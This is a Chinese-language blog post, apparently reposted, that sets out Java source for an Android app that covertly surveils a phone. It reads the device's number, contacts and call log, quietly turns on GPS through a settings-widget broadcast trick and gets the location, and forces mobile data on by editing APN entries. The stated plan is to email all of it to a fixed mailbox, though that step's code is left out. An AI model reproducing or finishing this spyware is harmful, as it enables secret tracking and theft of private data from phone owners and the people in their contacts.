2025-05-17

自己整理瞭下,未測試,主要是方便自己的學習
整個程序的大概思路是這樣的
手機開始時:
1、獲取手機聯系人信息、通話記錄、手機號碼
2、檢查手機gps狀態:關閉狀態則開啟 ,然後獲取手機的所在地
3、檢查手機網絡開關,關閉則開啟
4、將采集的信息發送到指定郵箱中(本文以qq郵箱實現,由於代碼太多這裡就不貼出來瞭,有需要的聯系我)
5、手機網絡還原到初始狀態、關閉gps(尚未實現,有實現的朋友可以一起研究一下)
添加權限
 <uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 <uses-permission android:name="android.permission.WRITE_SETTINGS" />
 <uses-permission android:name="android.permission.READ_CONTACTS" />
 <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 <uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
 
下面我們就按部就班來實現我們的想法:
[java]
1、獲取聯系人、電話號碼、通話記錄: 

[java]
/**
 * 獲取本機號碼
 * @param context
 * @return
 */ 
 public static String getLocalNumber() { 
  TelephonyManager mTelephonyMgr; 
  mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 
  return mTelephonyMgr.getLine1Number(); 
 } 
 
 /**
  * 獲取聯系人
  * @param context
  * @return
  */ 
 public static  String getContact(){ 
  ContentResolver cr = context.getContentResolver();     
  //取得電話本中開始一項的光標   
  Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);   
  String string =""; 
  while (cursor.moveToNext())   
  {   
      // 取得聯系人名字   
     int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);   
      String name = cursor.getString(nameFieldColumnIndex);   
      string += ("聯系人:"+name+", 電話號碼:");   
      // 取得聯系人ID   
      String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));   
      Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,       ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "  
              + contactId, null, null);   
    
      // 取得電話號碼(可能存在多個號碼)   
      int i=0; 
      while (phone.moveToNext())   
      {   
          String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));   
          if(i==0){ 
             string += (strPhoneNumber);     
          }else{ 
             string += ("," + strPhoneNumber);     
          } 
        
          i++; 
      }   
      string += "\n";   
      phone.close();   
      System.out.println("persion:"+string); 
  }   
  cursor.close(); 
  return string; 
 } 
 
  
 
  
 
/**
 
*獲取通話記錄
 
*/ 
 
public static List<Call> getCallList() { 
  List<Call> callList = new ArrayList<Call>(); 
  int type; 
  Date date; 
  String time = ""; 
  String telName = ""; 
  String telNo = ""; 
 
  ContentResolver cr = context.getContentResolver(); 
  final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, 
    new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, 
      CallLog.Calls.TYPE, CallLog.Calls.DATE, 
      CallLog.Calls.DURATION }, null, null, 
    CallLog.Calls.DEFAULT_SORT_ORDER); 
  for (int i = 0; i < cursor.getCount(); i++) { 
   Call call = new Call(); 
   cursor.moveToPosition(i); 
   telName = cursor.getString(1); 
   telNo = cursor.getString(0); 
   type = cursor.getInt(2); 
   SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 
   date = new Date(Long.parseLong(cursor.getString(3))); 
   time = sfd.format(date); 
   // call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4)))); 
   // String callDate = getdays(Long.parseLong(cursor.getString(3))); 
   if (telName != null) { 
    call.setName(telName); 
   } else { 
    call.setName("未知聯系人"); 
   } 
   call.setNumber(telNo); 
   call.setTime(time); 
 
   if (CallLog.Calls.INCOMING_TYPE == type) { 
    call.setType("接聽"); 
   } else if (CallLog.Calls.OUTGOING_TYPE == type) { 
    call.setType("撥出"); 
   } else if (CallLog.Calls.MISSED_TYPE == type) { 
    call.setType("未接"); 
   } 
   callList.add(call); 
  } 
  return callList; 
 } 
 
 private String formatDuring(long mss) { 
  long hours = mss / (60 * 60); 
  long minutes = (mss % (1000 * 60 * 60)) / 60; 
  long seconds = (mss % (1000 * 60)); 
  return hours + ":" + minutes + ":" + seconds; 
 } 
 
 private String getdays(long callTime) { 
  String value = ""; 
  long newTime = new Date().getTime(); 
  long duration = (newTime – callTime) / (1000 * 60); 
  if (duration < 60) { 
   value = duration + "分鐘前"; 
  } else if (duration >= 60 && duration < DAY) { 
   value = (duration / 60) + "小時前"; 
  } else if (duration >= DAY && duration < DAY * 2) { 
   value = "昨天"; 
  } else if (duration >= DAY * 2 && duration < DAY * 3) { 
   value = "前天"; 
  } else if (duration >= DAY * 7) { 
   SimpleDateFormat sdf = new SimpleDateFormat("M月dd日"); 
   value = sdf.format(new Date(callTime)); 
  } else { 
   value = (duration / DAY) + "天前"; 
  } 
  return value; 
 } 
 
  
 
/**
 
*實體類
 
*/    
 
public class Call { 
 private String name; 
 private String number; 
 private String time; 
 private String type; 
 

1.apn實現
[java]
 static Uri uri = Uri.parse("content://telephony/carriers"); 
 static Context context; 
 public APNUtils(Context context){ 
  this.context=context; 
 } 
  
/**
 * 檢查網絡
 * @return
 */ 
    public static boolean checkNet() { 
         boolean flag = false; 
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 
         if (cwjManager.getActiveNetworkInfo() != null) { 
             flag = cwjManager.getActiveNetworkInfo().isAvailable(); 
         } 
         return flag; 
     } 
 /**
  * 打開網絡www.aiwalls.com
  */ 
 public static void openAPN() { 
  List<APN> list = getAPNList(); 
  for (APN apn : list) { 
   ContentValues cv = new ContentValues(); 
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn)); 
   cv.put("type", APNMatchUtils.matchAPN(apn.type)); 
   context.getContentResolver().update(uri, cv, "_id=?", 
     new String[] { apn.id }); 
  } 
 } 
  
/**
 * 關閉網絡 
 */ 
 public static void closeAPN() { 
  List<APN> list = getAPNList(); 
  for (APN apn : list) { 
   ContentValues cv = new ContentValues(); 
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev"); 
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev"); 
   context.getContentResolver().update(uri, cv, "_id=?", 
     new String[] { apn.id }); 
  } 
 } 
  
 private static List<APN> getAPNList() { 
  String tag = "Main.getAPNList()"; 
  // current不為空表示可以使用的APN 
  String projection[] = { "_id,apn,type,current" }; 
  Cursor cr = context.getContentResolver().query(uri, projection, null, 
    null, null); 
  List<APN> list = new ArrayList<APN>(); 
  while (cr != null && cr.moveToNext()) { 
   Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "  " 
     + cr.getString(cr.getColumnIndex("apn")) + "  " 
     + cr.getString(cr.getColumnIndex("type")) + "  " 
     + cr.getString(cr.getColumnIndex("current"))); 
   APN a = new APN(); 
   a.id = cr.getString(cr.getColumnIndex("_id")); 
   a.apn = cr.getString(cr.getColumnIndex("apn")); 
   a.type = cr.getString(cr.getColumnIndex("type")); 
   list.add(a); 
  } 
  if (cr != null) 
   cr.close(); 
  return list; 
 } 

2.gps實現
[java]
public static String getCityNameByGps() { 
 
  LocationManager lm = (LocationManager) context 
    .getSystemService(Context.LOCATION_SERVICE); 
  Criteria criteria = new Criteria(); 
  criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度 
  criteria.setAltitudeRequired(false); // 不要求海拔信息 
  criteria.setBearingRequired(false); // 不要求方位信息 
  criteria.setCostAllowed(true); // 是否允許付費 
  criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗 
  String provider = lm.getBestProvider(criteria, true); // 獲取GPS信息 
  Location location = lm.getLastKnownLocation(provider); // 通過GPS獲取位置 
 
  updateToNewLocation(location); 
  // 設置監聽器,自動更新的最小時間為間隔N秒(1秒為1*1000,這樣寫主要為瞭方便)或最小位移變化超過N米 
  LocationListener locationListener = new LocationListener() { 
   @Override 
   public void onLocationChanged(Location location) { 
    updateToNewLocation(location); 
   } 
 
   @Override 
   public void onProviderDisabled(String provider) { 
    // TODO Auto-generated method stub 
   } 
 
   @Override 
   public void onProviderEnabled(String provider) { 
    // TODO Auto-generated method stub 
   } 
 
   @Override 
   public void onStatusChanged(String provider, int status, 
     Bundle extras) { 
 
   } 
 
  }; 
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener); 
  return addressString; 
 } 
 
 /**
  *
  * [功能描述].
  *
  * @param location
  *            [參數說明]
  * @createTime 2011-10-11 下午03:22:21
  */ 
 public static void updateToNewLocation(Location location) { 
  // System.out.println("begin updateLocation****"); 
 
  if (location != null) { 
   // System.out.println("location is null"); 
   double lat = location.getLatitude(); 
   double lon = location.getLongitude(); 
   // System.out.println("get lattitude from GPS ===>" + lat); 
   // System.out.println("get Longitude from GPS ===>" + lon); 
 
   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon); 
 
   StringBuilder sb = new StringBuilder(); 
 
   Geocoder gc = new Geocoder(context, Locale.getDefault()); 
   try { 
    List<Address> addresses = gc.getFromLocation(lat, lon, 1); 
    if (addresses.size() > 0) { 
     Address address = addresses.get(0); 
     // for (int i = 0; i < address.getMaxAddressLineIndex(); 
     // i++) { 
     sb.append(address.getAddressLine(1)).append("\n"); 
     // sb.append(address.getLocality()).append("\n"); 
 
     // sb.append(address.getCountryName()).append("\n"); 
     addressString = sb.toString(); 
 
     // } 
    } 
 
   } catch (IOException e) { 
    // TODO Auto-generated catch block 
    e.printStackTrace(); 
    addressString = "未知地區"; 
   } 
 
  } 
  // System.out.println("end updateLocation****"); 
 } 
 
 /**
  * 獲取GPS狀態
  *
  * @param context
  * @return
  */ 
 public static boolean getGPSState() { 
  LocationManager locationManager = (LocationManager) context 
    .getSystemService(Context.LOCATION_SERVICE); 
  // 判斷GPS模塊是否開啟,如果沒有則開啟 
  if (!locationManager 
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) { 
   return false; 
  } else { 
   return true; 
  } 
 } 
 
 public static void openGPS() { 
  LocationManager locationManager = (LocationManager) context 
    .getSystemService(Context.LOCATION_SERVICE); 
 
  if (!locationManager 
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) { 
 
   Intent gpsIntent = new Intent(); 
   gpsIntent.setClassName("com.android.settings", 
     "com.android.settings.widget.SettingsAppWidgetProvider"); 
   gpsIntent.addCategory("android.intent.category.ALTERNATIVE"); 
   gpsIntent.setData(Uri.parse("custom:3")); 
   try { 
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send(); 
   } catch (CanceledException e) { 
    e.printStackTrace(); 
   } 
  } 
 }   

摘自  雲卷雲舒 

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *